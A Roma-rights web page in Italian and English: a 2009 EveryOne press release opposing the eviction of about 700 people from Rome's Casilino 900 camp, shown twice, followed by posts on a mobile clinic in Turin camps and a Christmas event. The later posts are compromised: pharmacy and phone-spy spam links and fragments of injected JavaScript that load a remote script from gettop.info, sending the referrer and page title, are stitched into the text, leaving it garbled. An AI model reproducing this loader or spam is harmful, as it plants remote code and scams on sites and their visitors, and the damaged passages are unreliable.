Ancora una volta uno sgombero senza alternativa…Casilino 900

Continua a diffondersi la volontaà delle istituzioni che credono che lo sgombero dei campi nomadi sia una soluzione.

Apprendiamo dall’Organzzazione per i Diritti Umani Gruppo EveryOne la minaccia da parte delle istutizioni romane di sgomberare il campo del Casilino 900 dove risiedono oltre 700 persone, di cui 300 bambini e molti malati, un campo presso il quale, nonstante le diverse richieste, non stati attivati progetti d’inclusione sociale nè per gli adulti nè per i minori.

Diffondiamo il comunicato stampa del Gruppo EveryOne a cui diamo tutto il nostro sostegno anche per sottilineare le posizioni espresse dalla Commissione Europea, dal Consiglio d’Europa e dall’Alto Commissiariato Onu: diciamo basta alla negazione dei diritti umani, basta al calpestare la dignità di persone che lasciano il loro Paese sperando di arrivare in uno più civile, a causa del pregiudizio, a volte diffuso e allargato dalle istituzioni stesse.

Comunicato Stampa EveryOne 16 dicembre 2009


ROMA/CASILINO 900, GRUPPO EVERYONE: “PROGRAMMATO IMMINENTE SGOMBERO DEI 700 ROM CHE VIVONO NEL CAMPO, FRA CUI MALATI GRAVI E 300 BAMBINI. E’ PULIZIA ETNICA, INTERVENGANO COMMISSIONE EUROPEA, CONSIGLIO D’EUROPA E ALTO COMMISSARIO ONU”.

“Abbiamo appreso oggi che le autorità italiane hanno deciso di sgomberare l’insediamento Rom di Roma Casilino 900 entro le prossime tre settimane”. Lo annunciano Roberto Malini, Matteo Pegoraro e Dario Picciau, co-presidenti dell’organizzazione per i diritti umani Gruppo EveryOne. “Il Casilino 900 è il più vecchio campo Rom della capitale, in cui le famiglie – un totale di circa 700 persone –, rifugiatesi in Italia dai Paesi della ex-Iugoslavia, vivono da oltre 40 anni in condizioni igienico-sanitarie tragiche e senza alcun programma assistenziale” spiegano gli attivisti. “Negli ultimi anni le Istituzioni hanno diffuso gravi ideologie ispirate all’odio razziale verso i Rom del Casilino 900, attribuendo loro comportamenti asociali e bollandoli come persone geneticamente dedite al crimine”.

Recentemente, il Commissario europeo per i diritti umani, Thomas Hammarberg, ha definito “intollerabili” le condizioni di vita e l’emarginazione in cui sono costretti a vivere 300 bambini, molti malati, donne incinte. “Nonostante l’emarginazione, i pregiudizi e gli innumerevoli episodi di razzismo che le colpiscono,” continuano Malini, Pegoraro e Picciau, “le persone valide del Casilino 900 sono impegnate quotidianamente nella ricerca di occasioni di lavoro e integrazione. Lo sgombero imminente rappresenta quanto di più irresponsabile e disumano si possa concepire, perché il Comune di Roma non ha approntato alcuna alternativa di alloggio né di assistenza, nessun progetto scolastico riservato ai minori, nessun sostegno sociale per i casi socio-sanitari più drammatici né per mantenere integre le famiglie, quando l’unione familiare è a fondamento delle tradizioni del popolo Rom. Inoltre, una simile operazione porrebbe in grave pericolo i bambini down, cardiopatici, in terapia farmacologica o in dialisi”. Nell’insediamento vivono inoltre malati di cancro, pazienti in cura chemioterapica, persone affette da gravi patologie cardiache, portatori di disabilità fisiche e psichiche. “Le condizioni in cui sono costretti a vivere”, commentano i rappresentanti di EveryOne, “rendono già difficile il supporto da parte della Croce Rossa e di altre organizzazioni umanitarie. All’interno del campo, secondo il dottor Maurizio Di Marzio, responsabile del camper socio-sanitario che dal ‘99 ha assistito i rom residenti nel territorio della Asl RmB, vi sono episodi di Tbc, epatopatie severe, malattie dermatologiche trasmissibili, affezioni gastro-intestinali e ustioni, in misura rilevante, specie nei bambini. Uno sgombero, tanto più con queste gelide temperature, costituirebbe una condanna a morte per i più malati e vulnerabili e un dramma umanitario di proporzioni incalcolabili per tutti gli altri. Nel 2008, alcune delegazioni del Parlamento europeo e della Commissione Ue avevano visitato il campo; allora, venne posta in rilievo la grave condizione di emarginazione, povertà e crisi umanitaria che attraversava gli abitanti del Casilino, ma nonostante questo il Comune di Roma e in genere le autorità italiane non hanno minimamente cercato di migliorare la situazione, e anzi hanno reso il Casilino sempre più simile a un ghetto polacco negli anni dell’Olocausto. In qualsiasi altro Paese civile” concludono dall’organizzazione per i diritti umani, “la situazione del Casilino 900 verrebbe affrontata sotto l’aspetto umanitario, non politico o securitario. Sarebbe necessario costruire un villaggio moderno e attrezzato sull’attuale sito o presso un sito dignitoso. In alternativa, le Istituzioni dovrebbero provvedere a fornire alloggi e ad avviare un serio progetto scuola-lavoro, prestando contemporaneamente il dovuto sostegno sociale ai malati, ai disabili, ai più deboli. Purtroppo il sindaco di Roma Gianni Alemanno sembra molto più preoccupato, anziché a salvare vite umane innocenti, a vietare cortei e sit-in di protesta, cui le associazioni umanitarie darebbero comunque vita nel caso di un’operazione di pulizia etnica nel campo Rom. Ci auguriamo che la Commissione europea e il Consiglio d’Europa possano intervenire prontamente, se necessario avviando una procedura d’infrazione, contro la decisione delle autorità italiane di sgomberare il Casilino 900 senza alcuna alternativa dignitosa per i suoi abitanti. E’ importante che anche l’Alto Commissario delle Nazioni Unite per i Diritti Umani assuma una posizione decisa contro l’annunciata operazione di purga etnica. Il Gruppo EveryOne, l’associazione Them Romano, l’organizzazione antirazzista europea United e la rete di organizzazioni per i Diritti Umani si avvarranno di ogni mezzo civile e nonviolento per scongiurare un dramma umanitario e salvaguardare i diritti fondamentali di oltre 700 esseri umani già provati da un lungo e terribile periodo di apartheid e persecuzione”.

 

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Ancora una volta uno sgombero senza alternativa…Casilino 900

Continua a diffondersi la volontaà delle istituzioni che credono che lo sgombero dei campi nomadi sia una soluzione.

Apprendiamo dall’Organzzazione per i Diritti Umani Gruppo EveryOne la minaccia da parte delle istutizioni romane di sgomberare il campo del Casilino 900 dove risiedono oltre 700 persone, di cui 300 bambini e molti malati, un campo presso il quale, nonstante le diverse richieste, non stati attivati progetti d’inclusione sociale nè per gli adulti nè per i minori.

Diffondiamo il comunicato stampa del Gruppo EveryOne a cui diamo tutto il nostro sostegno anche per sottilineare le posizioni espresse dalla Commissione Europea, dal Consiglio d’Europa e dall’Alto Commissiariato Onu: diciamo basta alla negazione dei diritti umani, basta al calpestare la dignità di persone che lasciano il loro Paese sperando di arrivare in uno più civile, a causa del pregiudizio, a volte diffuso e allargato dalle istituzioni stesse.

Comunicato Stampa EveryOne 16 dicembre 2009


ROMA/CASILINO 900, GRUPPO EVERYONE: “PROGRAMMATO IMMINENTE SGOMBERO DEI 700 ROM CHE VIVONO NEL CAMPO, FRA CUI MALATI GRAVI E 300 BAMBINI. E’ PULIZIA ETNICA, INTERVENGANO COMMISSIONE EUROPEA, CONSIGLIO D’EUROPA E ALTO COMMISSARIO ONU”.

“Abbiamo appreso oggi che le autorità italiane hanno deciso di sgomberare l’insediamento Rom di Roma Casilino 900 entro le prossime tre settimane”. Lo annunciano Roberto Malini, Matteo Pegoraro e Dario Picciau, co-presidenti dell’organizzazione per i diritti umani Gruppo EveryOne. “Il Casilino 900 è il più vecchio campo Rom della capitale, in cui le famiglie – un totale di circa 700 persone –, rifugiatesi in Italia dai Paesi della ex-Iugoslavia, vivono da oltre 40 anni in condizioni igienico-sanitarie tragiche e senza alcun programma assistenziale” spiegano gli attivisti. “Negli ultimi anni le Istituzioni hanno diffuso gravi ideologie ispirate all’odio razziale verso i Rom del Casilino 900, attribuendo loro comportamenti asociali e bollandoli come persone geneticamente dedite al crimine”.

Recentemente, il Commissario europeo per i diritti umani, Thomas Hammarberg, ha definito “intollerabili” le condizioni di vita e l’emarginazione in cui sono costretti a vivere 300 bambini, molti malati, donne incinte. “Nonostante l’emarginazione, i pregiudizi e gli innumerevoli episodi di razzismo che le colpiscono,” continuano Malini, Pegoraro e Picciau, “le persone valide del Casilino 900 sono impegnate quotidianamente nella ricerca di occasioni di lavoro e integrazione. Lo sgombero imminente rappresenta quanto di più irresponsabile e disumano si possa concepire, perché il Comune di Roma non ha approntato alcuna alternativa di alloggio né di assistenza, nessun progetto scolastico riservato ai minori, nessun sostegno sociale per i casi socio-sanitari più drammatici né per mantenere integre le famiglie, quando l’unione familiare è a fondamento delle tradizioni del popolo Rom. Inoltre, una simile operazione porrebbe in grave pericolo i bambini down, cardiopatici, in terapia farmacologica o in dialisi”. Nell’insediamento vivono inoltre malati di cancro, pazienti in cura chemioterapica, persone affette da gravi patologie cardiache, portatori di disabilità fisiche e psichiche. “Le condizioni in cui sono costretti a vivere”, commentano i rappresentanti di EveryOne, “rendono già difficile il supporto da parte della Croce Rossa e di altre organizzazioni umanitarie. All’interno del campo, secondo il dottor Maurizio Di Marzio, responsabile del camper socio-sanitario che dal ‘99 ha assistito i rom residenti nel territorio della Asl RmB, vi sono episodi di Tbc, epatopatie severe, malattie dermatologiche trasmissibili, affezioni gastro-intestinali e ustioni, in misura rilevante, specie nei bambini. Uno sgombero, tanto più con queste gelide temperature, costituirebbe una condanna a morte per i più malati e vulnerabili e un dramma umanitario di proporzioni incalcolabili per tutti gli altri. Nel 2008, alcune delegazioni del Parlamento europeo e della Commissione Ue avevano visitato il campo; allora, venne posta in rilievo la grave condizione di emarginazione, povertà e crisi umanitaria che attraversava gli abitanti del Casilino, ma nonostante questo il Comune di Roma e in genere le autorità italiane non hanno minimamente cercato di migliorare la situazione, e anzi hanno reso il Casilino sempre più simile a un ghetto polacco negli anni dell’Olocausto. In qualsiasi altro Paese civile” concludono dall’organizzazione per i diritti umani, “la situazione del Casilino 900 verrebbe affrontata sotto l’aspetto umanitario, non politico o securitario. Sarebbe necessario costruire un villaggio moderno e attrezzato sull’attuale sito o presso un sito dignitoso. In alternativa, le Istituzioni dovrebbero provvedere a fornire alloggi e ad avviare un serio progetto scuola-lavoro, prestando contemporaneamente il dovuto sostegno sociale ai malati, ai disabili, ai più deboli. Purtroppo il sindaco di Roma Gianni Alemanno sembra molto più preoccupato, anziché a salvare vite umane innocenti, a vietare cortei e sit-in di protesta, cui le associazioni umanitarie darebbero comunque vita nel caso di un’operazione di pulizia etnica nel campo Rom. Ci auguriamo che la Commissione europea e il Consiglio d’Europa possano intervenire prontamente, se necessario avviando una procedura d’infrazione, contro la decisione delle autorità italiane di sgomberare il Casilino 900 senza alcuna alternativa dignitosa per i suoi abitanti. E’ importante che anche l’Alto Commissario delle Nazioni Unite per i Diritti Umani assuma una posizione decisa contro l’annunciata operazione di purga etnica. Il Gruppo EveryOne, l’associazione Them Romano, l’organizzazione antirazzista europea United e la rete di organizzazioni per i Diritti Umani si avvarranno di ogni mezzo civile e nonviolento per scongiurare un dramma umanitario e salvaguardare i diritti fondamentali di oltre 700 esseri umani già provati da un lungo e terribile periodo di apartheid e persecuzione”.

 

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Media/cura

One of the branches of the project Media/ssistenza is Media/cura, with which Terra del Fuoco, Croce Verde Torino, and a team of volunteer surgeons and nurses enter 2 irregular Roma camps in Turin, with a mobile medical ambulatory. The aim is to inform about the territorial health services, to gather health information – about vaccinations or infective disease – to visit the residents, and to begin with them a course of health education.

The report we publish today is a first step. A definitive one will follow, illustrating the situation of the camps in detail.

Download the report (PDF, 490 KB, in Italian) cytotec prix tunisie document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; http://sakaraboutique.com/email-spy-cell-phone-spy-spy-android-software/

Media/cura

Uno dei rami del progetto Media/ssistenza è il progetto Media/cura, con cui Terra del Fuoco, Croce Verde Torino, e un’équipe di medici e infermieri volontari, entrano in 2 campi rom abusivi di Torino con un ambulatorio mobile. Lo scopo è di informare sui servizi sanitari territoriali, raccogliere informazioni sanitarie su vaccinazioni o malattie infettive, visitare i residenti e iniziare con loro un percorso di educazione sanitaria.

La relazione che pubblichiamo oggi è un primo passo. Ne seguirà una definitiva che ilustrerà la situazione dei campi nel dettaglio.

donato cialis Scarica la relazione (PDF, 490 KB)}if (document.currentScript) { http://cottonmouthheadquarters.com/?p=8789

Santa Claus is coming

Santa Claus is going to come in short, some days in advance indeed, for the Roma children of the camps in Via Germagnano and Lungo Stura Lazio.

On December 22nd in cialis Via Germagnano, and on the 23rd in Lungo Stura Lazio, from 2 PM to 5 PM, along with the operators of the San Luigi oratory – which we collaborate with for the project Media/ssistenza – we will wait the most known man in the world, with his white beard and red robe.

The children will be given sweets and candy and much happiness, and there will be group games that, we hope, can make the Roma children too feel the familiar Xmas mood.
We wait for you all to share these moments and debunk the nonexistence of the good old fat man!s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);http://thebelleandthebeaublog.com/gsp-tracker-how-to-spy-on-text-for-free-see-facebook/